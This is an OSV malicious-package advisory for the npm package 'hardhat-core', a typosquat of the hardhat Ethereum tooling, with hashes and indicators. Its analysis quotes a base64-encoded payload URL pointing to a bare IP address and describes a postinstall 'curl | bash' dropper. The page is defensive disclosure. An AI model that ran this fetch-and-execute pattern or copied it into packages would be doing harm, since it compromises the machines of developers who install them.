MAL-2026-3713

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hardhat-core/MAL-2026-3713.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-3713
Published
2026-05-13T12:01:29Z
Modified
2026-05-15T07:50:30.529002Z
Summary
Malicious code in hardhat-core (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (bb86c79e7ed3cd429c0f28bc08e00ce020df2ec42fdda086ad8bfca99f259930)

package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL http://8.217.75.147:3000/payload and pipes the response into bash via curl -s <url> | bash. This fires automatically during npm install, executing attacker-controlled shell code fetched over plain HTTP from a hardcoded bare IP with no integrity verification. The package itself is empty (index.js exports {}) and its name impersonates the widely-used hardhat Ethereum tooling — the only purpose of installing it is to trigger the dropper. Three independent block signals are present: install-time curl|bash to a non-publisher bare IP, base64-obfuscated URL inside a lifecycle script, and a typosquat name with no real functionality serving as the lure.

Source: ossf-package-analysis (37a9993551389729247a4d3b88747296e12dc861db457d83581f0e60cd4d0c30)

The OpenSSF Package Analysis project identified 'hardhat-core' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-05-13T12:01:29Z",
            "versions": [
                "1.0.0"
            ],
            "sha256": "37a9993551389729247a4d3b88747296e12dc861db457d83581f0e60cd4d0c30",
            "source": "ossf-package-analysis",
            "import_time": "2026-05-13T21:58:23.764687477Z"
        },
        {
            "modified_time": "2026-05-15T03:21:38Z",
            "versions": [
                "1.0.0"
            ],
            "sha256": "bb86c79e7ed3cd429c0f28bc08e00ce020df2ec42fdda086ad8bfca99f259930",
            "id": "IN-MAL-2026-002819",
            "source": "amazon-inspector",
            "import_time": "2026-05-15T07:37:20.952322779Z"
        },
        {
            "modified_time": "2026-05-14T19:25:34Z",
            "versions": [
                "1.0.0"
            ],
            "sha256": "fab375c953441e530540f01ba02981bb29edb746fdecc608249c7bc314ca39a3",
            "id": "IN-MAL-2026-002736",
            "source": "amazon-inspector",
            "import_time": "2026-05-15T07:37:18.7260115Z"
        }
    ]
}
References
Credits

Affected packages

npm / hardhat-core

Package

Name
hardhat-core
View open source insights on deps.dev
Purl
pkg:npm/hardhat-core

Affected ranges

Affected versions

1.*
1.0.0

Database specific

indicators 
{
    "evidence_files": [
        {
            "sha256": "ad71655f86483901c57b0116c7b3369d6e47b63b0ef327961b5547e7fb405fc0",
            "tlsh": "d4f0ab64af106af328c04e530a1b49cb64b3ca1f08287c68b39ba45d039c7eb15fb55e",
            "path": "package.json"
        },
        {
            "sha256": "8c392403f10df44e70244d14aa135cb572886ab4fb693af581c580207d943ae7",
            "tlsh": "bc900205816571811315c657a74960831bd4c394c55040a04744495d4016e4450b65d0",
            "path": "index.js"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-jxPOG6m+gbRmsfDHuNq0cOwFIRcPFTqpUA0tEe1GjiiLBjpPYXMN/ge+KumOhXZTg380FrkWYG1h7Fa5F+gM2g==",
                "sha1": "7c766e1037afdf633f137c0688cff9e75dd22aae"
            },
            "filename": "hardhat-core-1.0.0.tgz"
        }
    ]
}
cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hardhat-core/MAL-2026-3713.json"